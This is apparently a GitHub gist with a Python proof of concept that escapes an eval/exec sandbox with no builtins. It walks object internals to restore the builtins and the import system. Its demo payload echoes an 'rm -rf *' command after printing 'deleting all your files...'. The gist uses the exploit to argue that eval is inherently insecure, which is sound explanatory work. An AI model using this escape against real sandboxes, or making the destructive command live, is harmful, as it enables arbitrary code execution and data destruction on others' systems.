Last active
September 26, 2018 08:28
-
-
Save Aran-Fey/2667cef9420e930e57d80187a76e35e4 to your computer and use it in GitHub Desktop.
Showcasing how to gain access to the builtins from a simple literal, proving that eval and exec can always be exploited no matter which safeguards you put in place. (Tested in python 3.7)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
This code gains access to the builtins from a simple literal. As a consequence, | |
we can conclude that `eval` and `exec` are insecure even if the evaluated code | |
has no (direct) access to the builtins or globals. | |
Of course, there are ways to break this particular exploit - for example, | |
executing | |
import abc | |
del abc.__loader__ | |
will prevent it from working. But that only protects you against this particular | |
implementation. You can never be sure if there isn't another convoluted way to | |
find access to the builtins. Trying to make `eval` or `exec` safe is therefore | |
almost certain to end poorly. | |
""" | |
# make a sandbox: | |
# *) no imports | |
# *) no builtins | |
del __builtins__.__import__ | |
del __builtins__ | |
# attacker's code to restore the builtins, including the import functionality: | |
type = ''.__class__.__class__ | |
ABCMeta = type.__subclasses__(type)[0] | |
abc_globals = ABCMeta.register.__globals__ | |
importlib_globals = abc_globals['__loader__'].get_data.__globals__ | |
__builtins__ = importlib_globals['sys'].modules['builtins'] | |
spec = __builtins__.__spec__ | |
__builtins__.__spec__.loader.create_module(__builtins__.__spec__) | |
__builtins__.__spec__ = spec | |
# proof that it works in `exec`, with no access to any globals: | |
scope = {'__builtins__': {}} | |
exec(''' | |
type = ''.__class__.__class__ | |
ABCMeta = type.__subclasses__(type)[0] | |
abc_globals = ABCMeta.register.__globals__ | |
importlib_globals = abc_globals['__loader__'].get_data.__globals__ | |
__builtins__ = importlib_globals['sys'].modules['builtins'] | |
spec = __builtins__.__spec__ | |
__builtins__.__spec__.loader.create_module(__builtins__.__spec__) | |
__builtins__.__spec__ = spec | |
__builtins__.print('deleting all your files...') | |
os = __builtins__.__import__('os') | |
os.system("echo rm -rf \\*") | |
''', scope, scope) | |
# proof that it works in `eval`: | |
scope = {'__builtins__': {}} | |
eval(''' | |
(lambda __builtins__=''.__class__.__class__.__subclasses__(''.__class__.__class__)[0].register.__globals__['__loader__'].get_data.__globals__['sys'].modules['builtins']: [__builtins__.__spec__.loader.create_module(__builtins__.__spec__), __builtins__.print('deleting all your files...'), __builtins__.__import__('os').system("echo rm -rf \\*")])() | |
''', scope, scope) | |
############################################################# | |
# level 2: restoring a completely mutilated builtins module # | |
############################################################# | |
# setup: | |
vars(__builtins__).clear() | |
del __builtins__ | |
# solution: | |
# re-import the builtins module to restore most of its functionality | |
type = ''.__class__.__class__ | |
ABCMeta = type.__subclasses__(type)[0] | |
abc_globals = ABCMeta.register.__globals__ | |
importlib_globals = abc_globals['__loader__'].get_data.__globals__ | |
sys = importlib_globals['sys'] | |
__builtins__ = sys.modules['builtins'] | |
loader = sys.modules['_frozen_importlib'].BuiltinImporter | |
spec = sys.modules['_frozen_importlib'].ModuleSpec('builtins', loader) | |
loader.create_module(spec) | |
loader.exec_module(__builtins__) | |
__builtins__.__spec__ = spec | |
# for some reason exceptions aren't restored, so we'll manually | |
# traverse the exception type hierarchy and add them to the builtins | |
try: | |
1/0 | |
except: | |
err = sys.exc_info()[0] | |
err = err.mro()[-2] | |
queue = [err] | |
while queue: | |
err = queue.pop() | |
setattr(__builtins__, err.__name__, err) | |
queue.extend(err.__subclasses__()) | |
__builtins__.IOError = __builtins__.EnvironmentError = OSError | |
# restore the `open` function | |
__builtins__.open = sys.modules['io'].open | |
# re-import the `site` module to restore site-builtins | |
site = sys.modules['site'] | |
site.__loader__.exec_module(site) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment